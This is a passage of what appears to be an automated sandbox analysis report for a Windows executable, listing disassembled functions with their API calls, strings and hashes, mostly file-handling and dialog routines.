Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 072b9cefa676d6ead28a7bf85564f04be632ea861a7d43959b420f2dec1e99cc
Instruction ID: e4181112d748e7d76a7279c381eb320aec85b4722c27e39598a8b933a2dfffda
Opcode Fuzzy Hash: 072b9cefa676d6ead28a7bf85564f04be632ea861a7d43959b420f2dec1e99cc
Instruction Fuzzy Hash: 2CA012E11580817C711412021C42C37024CC0C0B10730466DF421840C06A4048045432

Function 00BEE40A Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00BEE3FC

Part of subcall function 00BEE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00BEE8D0
Part of subcall function 00BEE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00BEE8E1

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 3ac0fde907bfbf09230dffe78d6d1d27d0cc8be1d483ad3ff5bd12bad5dd7c72
Instruction ID: e4181112d748e7d76a7279c381eb320aec85b4722c27e39598a8b933a2dfffda
Opcode Fuzzy Hash: 3ac0fde907bfbf09230dffe78d6d1d27d0cc8be1d483ad3ff5bd12bad5dd7c72
Instruction Fuzzy Hash: 2CA012E11580817C711412021C42C37024CC0C0B10730466DF421840C06A4048045432

Function 00BEE446 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00BEE3FC

Part of subcall function 00BEE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00BEE8D0
Part of subcall function 00BEE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00BEE8E1

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 7d022eba684f318a4b679797d106526eed2e3bc2261caa05f0f49e784a9a5128
Instruction ID: e4181112d748e7d76a7279c381eb320aec85b4722c27e39598a8b933a2dfffda
Opcode Fuzzy Hash: 7d022eba684f318a4b679797d106526eed2e3bc2261caa05f0f49e784a9a5128
Instruction Fuzzy Hash: 2CA012E11580817C711412021C42C37024CC0C0B10730466DF421840C06A4048045432

Function 00BEE5A2 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00BEE580

Part of subcall function 00BEE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00BEE8D0
Part of subcall function 00BEE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00BEE8E1

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: f3fe2c36269cc938479b38a7e2e23c6c5c164352dc0781a7abf4855c2a174c17
Instruction ID: b03e137dea239ac2a108867f86e55a235b9d6f9e39e81e186b8e46c13b0ef048
Opcode Fuzzy Hash: f3fe2c36269cc938479b38a7e2e23c6c5c164352dc0781a7abf4855c2a174c17
Instruction Fuzzy Hash: B3A011C22A8082BCB00823A22C82C3B02ACC0C0B20B308BAEF822800C0BA8088080830

Function 00BEE58E Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00BEE580

Part of subcall function 00BEE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00BEE8D0
Part of subcall function 00BEE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00BEE8E1

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 81a1c72d932be4a8830e4c797792409e92c72f601b3a8486841994813127b89a
Instruction ID: b03e137dea239ac2a108867f86e55a235b9d6f9e39e81e186b8e46c13b0ef048
Opcode Fuzzy Hash: 81a1c72d932be4a8830e4c797792409e92c72f601b3a8486841994813127b89a
Instruction Fuzzy Hash: B3A011C22A8082BCB00823A22C82C3B02ACC0C0B20B308BAEF822800C0BA8088080830

Function 00BEE573 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00BEE580

Part of subcall function 00BEE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00BEE8D0
Part of subcall function 00BEE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00BEE8E1

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: d0f09daa95efe89e7858837f32d19ae9f9c0265833be6b6f24e9f8ce87713ee3
Instruction ID: f9e4576e9ea6a981097b8f59dff244f082a4516a9f32fadc0aab48abf25997e4
Opcode Fuzzy Hash: d0f09daa95efe89e7858837f32d19ae9f9c0265833be6b6f24e9f8ce87713ee3
Instruction Fuzzy Hash: 3AA011C22A80803CB00823A22C82C3B02ACC0E0B22B3083AEF820A00C0BA8088080830

Function 00BEE569 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00BEE51F

Part of subcall function 00BEE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00BEE8D0
Part of subcall function 00BEE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00BEE8E1

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 6d6f84fce9d6fd765e275c061240c6bd85759acdda8ed0383bf22aafc33e4384
Instruction ID: cf50fa866db7c662458ae860af32f393ef7fc6027cdbdf12244d0cd71bb0b94c
Opcode Fuzzy Hash: 6d6f84fce9d6fd765e275c061240c6bd85759acdda8ed0383bf22aafc33e4384
Instruction Fuzzy Hash: 51A011C22A8882BCB00822022CA2C3B028CC8C2F20B308AAEF822800C0BA808C080830

Function 00BEE55F Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00BEE51F

Part of subcall function 00BEE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00BEE8D0
Part of subcall function 00BEE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00BEE8E1

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 9487da6faf625ccf51f6dfe798884af3cf0b605fe696301191242dd5901d7e5e
Instruction ID: cf50fa866db7c662458ae860af32f393ef7fc6027cdbdf12244d0cd71bb0b94c
Opcode Fuzzy Hash: 9487da6faf625ccf51f6dfe798884af3cf0b605fe696301191242dd5901d7e5e
Instruction Fuzzy Hash: 51A011C22A8882BCB00822022CA2C3B028CC8C2F20B308AAEF822800C0BA808C080830

Function 00BEE555 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00BEE51F

Part of subcall function 00BEE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00BEE8D0
Part of subcall function 00BEE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00BEE8E1

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 333e260cd313c2ac080c3bee9b82c09e5dd99672f293c3ed43823eb50fc34835
Instruction ID: cf50fa866db7c662458ae860af32f393ef7fc6027cdbdf12244d0cd71bb0b94c
Opcode Fuzzy Hash: 333e260cd313c2ac080c3bee9b82c09e5dd99672f293c3ed43823eb50fc34835
Instruction Fuzzy Hash: 51A011C22A8882BCB00822022CA2C3B028CC8C2F20B308AAEF822800C0BA808C080830

Function 00BEE541 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00BEE51F

Part of subcall function 00BEE85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00BEE8D0
Part of subcall function 00BEE85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00BEE8E1

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 3d4273609fd5a8aeafe2196127c14055d48feb3da257c3884e51b2ccdbff2658
Instruction ID: cf50fa866db7c662458ae860af32f393ef7fc6027cdbdf12244d0cd71bb0b94c
Opcode Fuzzy Hash: 3d4273609fd5a8aeafe2196127c14055d48feb3da257c3884e51b2ccdbff2658
Instruction Fuzzy Hash: 51A011C22A8882BCB00822022CA2C3B028CC8C2F20B308AAEF822800C0BA808C080830

Function 00BD9F09 Relevance: 1.5, APIs: 1, Instructions: 7fileCOMMON

Download Yara Rule

APIs

SetEndOfFile.KERNELBASE(?,00BD903E,?,?,-00000870,?,-000018B8,00000000,?,-000028B8,?,00000800,-000028B8,?,00000000,?), ref: 00BD9F0C

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID: File
String ID:
API String ID: 749574446-0
Opcode ID: e5f29f4a60a7c7bad23a1c4ce20c7d76e3b597a9aa4f71dca911cfb4b747a689
Instruction ID: 1b33539cca310cb9a2533ae27e475016f7352ed8f859f14179d022306e68c09f
Opcode Fuzzy Hash: e5f29f4a60a7c7bad23a1c4ce20c7d76e3b597a9aa4f71dca911cfb4b747a689
Instruction Fuzzy Hash: 06A0223008000E8BCE002B30CE0830E3B20FB20BC830202E8A00BCF0B2CB23880BCB20

Function 00BEAC04 Relevance: 1.5, APIs: 1, Instructions: 5COMMON

Download Yara Rule

APIs

SetCurrentDirectoryW.KERNELBASE(?,00BEAE72,C:\Users\user\Desktop,00000000,00C1946A,00000006), ref: 00BEAC08

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID: CurrentDirectory
String ID:
API String ID: 1611563598-0
Opcode ID: a0ca77b27d691014841627196638469abbbd56a5fc46e6c8bdbe7f4460c19666
Instruction ID: 44e999f6003b173c849f4863f7f55c6fde1b57410d3524db5b34f838c4614b8e
Opcode Fuzzy Hash: a0ca77b27d691014841627196638469abbbd56a5fc46e6c8bdbe7f4460c19666
Instruction Fuzzy Hash: CBA011302082808BC2000B328F0AB0EBAAAAFA2B00F02C028A00088030CB30C820EA00

Function 00BD9620 Relevance: 1.3, APIs: 1, Instructions: 30COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE(000000FF,?,?,00BD95D6,?,?,?,?,?,00C02641,000000FF), ref: 00BD963B

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: 353d631f08a9fbd85f5018b410b4a75e8e5d058aa264a6e0799c935aef09485d
Instruction ID: bd41e73ad9a1af0b697cbebae31e1f32879c1dc88dfac60303a7d9c55e2ec870
Opcode Fuzzy Hash: 353d631f08a9fbd85f5018b410b4a75e8e5d058aa264a6e0799c935aef09485d
Instruction Fuzzy Hash: A1F08970485B559FDB308E24C458792F7E8EB13325F045B9FD4E742AE0E761A98DDB40

Non-executed Functions

Function 00BEC220 Relevance: 49.3, APIs: 25, Strings: 3, Instructions: 286timewindowfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00BD1316: GetDlgItem.USER32(00000000,00003021), ref: 00BD135A
Part of subcall function 00BD1316: SetWindowTextW.USER32(00000000,00C035F4), ref: 00BD1370

SendDlgItemMessageW.USER32(?,00000066,00000171,00000000,00000000), ref: 00BEC2B1
EndDialog.USER32(?,00000006), ref: 00BEC2C4
GetDlgItem.USER32(?,0000006C), ref: 00BEC2E0
SetFocus.USER32(00000000), ref: 00BEC2E7
SetDlgItemTextW.USER32(?,00000065,?), ref: 00BEC321
SendDlgItemMessageW.USER32(?,00000066,00000170,?,00000000), ref: 00BEC358
FindFirstFileW.KERNEL32(?,?), ref: 00BEC36E
FileTimeToLocalFileTime.KERNEL32(?,?), ref: 00BEC38C
FileTimeToSystemTime.KERNEL32(?,?), ref: 00BEC39C
GetTimeFormatW.KERNEL32(00000400,00000002,?,00000000,?,00000032), ref: 00BEC3B8
GetDateFormatW.KERNEL32(00000400,00000000,?,00000000,?,00000032), ref: 00BEC3D4
_swprintf.LIBCMT ref: 00BEC404

Part of subcall function 00BD4092: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00BD40A5

SetDlgItemTextW.USER32(?,0000006A,?), ref: 00BEC417
FindClose.KERNEL32(00000000), ref: 00BEC41E
_swprintf.LIBCMT ref: 00BEC477
SetDlgItemTextW.USER32(?,00000068,?), ref: 00BEC48A
SendDlgItemMessageW.USER32(?,00000067,00000170,?,00000000), ref: 00BEC4A7
FileTimeToLocalFileTime.KERNEL32(?,?,?), ref: 00BEC4C7
FileTimeToSystemTime.KERNEL32(?,?), ref: 00BEC4D7
GetTimeFormatW.KERNEL32(00000400,00000002,?,00000000,?,00000032), ref: 00BEC4F1
GetDateFormatW.KERNEL32(00000400,00000000,?,00000000,?,00000032), ref: 00BEC509
_swprintf.LIBCMT ref: 00BEC535
SetDlgItemTextW.USER32(?,0000006B,?), ref: 00BEC548
_swprintf.LIBCMT ref: 00BEC59C
SetDlgItemTextW.USER32(?,00000069,?), ref: 00BEC5AF

Part of subcall function 00BEAF0F: GetLocaleInfoW.KERNEL32(00000400,0000000F,?,00000064), ref: 00BEAF35
Part of subcall function 00BEAF0F: GetNumberFormatW.KERNEL32(00000400,00000000,?,00C0E72C,?,?), ref: 00BEAF84

Strings

REPLACEFILEDLG, xrefs: 00BEC247
%s %s %s, xrefs: 00BEC3F2, 00BEC527
%s %s, xrefs: 00BEC469, 00BEC58E

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID: ItemTime$File$Text$Format$_swprintf$MessageSend$DateFindLocalSystem$CloseDialogFirstFocusInfoLocaleNumberWindow__vswprintf_c_l
String ID: %s %s$%s %s %s$REPLACEFILEDLG
API String ID: 797121971-1840816070
Opcode ID: abe1f1c34d9a9c0d3a88a095bc66c22de1975010582b9a0e1b3e2fdaaaecef10
Instruction ID: 6beddcca928b612598a31b8c7c0fb9a88037c24707ea7158f09e008cedbf76cd
Opcode Fuzzy Hash: abe1f1c34d9a9c0d3a88a095bc66c22de1975010582b9a0e1b3e2fdaaaecef10
Instruction Fuzzy Hash: F1917372248384BBD2219BA1CC89FFF7BECEB49704F044859F749D6181E775E6058B62

Function 00BD6FAA Relevance: 28.3, APIs: 12, Strings: 4, Instructions: 328fileCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00BD6FAA
_wcslen.LIBCMT ref: 00BD7013
_wcslen.LIBCMT ref: 00BD7084

Part of subcall function 00BD7A9C: GetCurrentProcess.KERNEL32(00000020,?), ref: 00BD7AAB
Part of subcall function 00BD7A9C: GetLastError.KERNEL32 ref: 00BD7AF1
Part of subcall function 00BD7A9C: CloseHandle.KERNEL32(?), ref: 00BD7B00

Part of subcall function 00BDA1E0: DeleteFileW.KERNELBASE(000000FF,?,?,00BD977F,?,?,00BD95CF,?,?,?,?,?,00C02641,000000FF), ref: 00BDA1F1
Part of subcall function 00BDA1E0: DeleteFileW.KERNEL32(?,000000FF,?,00000800,?,?,00BD977F,?,?,00BD95CF,?,?,?,?,?,00C02641), ref: 00BDA21F

CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000001,00000080,00000000,?,?,00000001,?), ref: 00BD7139
CloseHandle.KERNEL32(00000000), ref: 00BD7155
CreateFileW.KERNEL32(?,C0000000,00000000,00000000,00000003,02200000,00000000), ref: 00BD7298

Part of subcall function 00BD9DA2: FlushFileBuffers.KERNEL32(?,?,?,?,?,?,00BD73BC,?,?,?,00000000), ref: 00BD9DBC
Part of subcall function 00BD9DA2: SetFileTime.KERNELBASE(?,?,?,?), ref: 00BD9E70

Part of subcall function 00BD9620: CloseHandle.KERNELBASE(000000FF,?,?,00BD95D6,?,?,?,?,?,00C02641,000000FF), ref: 00BD963B

Part of subcall function 00BDA4ED: SetFileAttributesW.KERNELBASE(?,00000000,00000001,?,00BDA325,?,?,?,00BDA175,?,00000001,00000000,?,?), ref: 00BDA501
Part of subcall function 00BDA4ED: SetFileAttributesW.KERNEL32(?,00000000,?,?,00000800,?,00BDA325,?,?,?,00BDA175,?,00000001,00000000,?,?), ref: 00BDA532

Strings

\??\, xrefs: 00BD702B
SeCreateSymbolicLinkPrivilege, xrefs: 00BD6FCC
UNC\, xrefs: 00BD7051
SeRestorePrivilege, xrefs: 00BD6FC2

Memory Dump Source

Source File: 00000000.00000002.1741013244.0000000000BD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BD0000, based on PE: true

Associated: 00000000.00000002.1740993484.0000000000BD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741056778.0000000000C03000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C15000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741079075.0000000000C32000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1741153738.0000000000C33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bd0000_7aHY4r6vXR.jbxd

Similarity

API ID: File$CloseHandle$AttributesCreateDelete_wcslen$BuffersCurrentErrorFlushH_prologLastProcessTime
String ID: SeCreateSymbolicLinkPrivilege$SeRestorePrivilege$UNC\$\??\
API String ID: 3983180755-3508440684
Opcode ID: 991afecd1de1a85c82db960b60f4ba0c9cfadc18491977fccef412c36ab1eeff
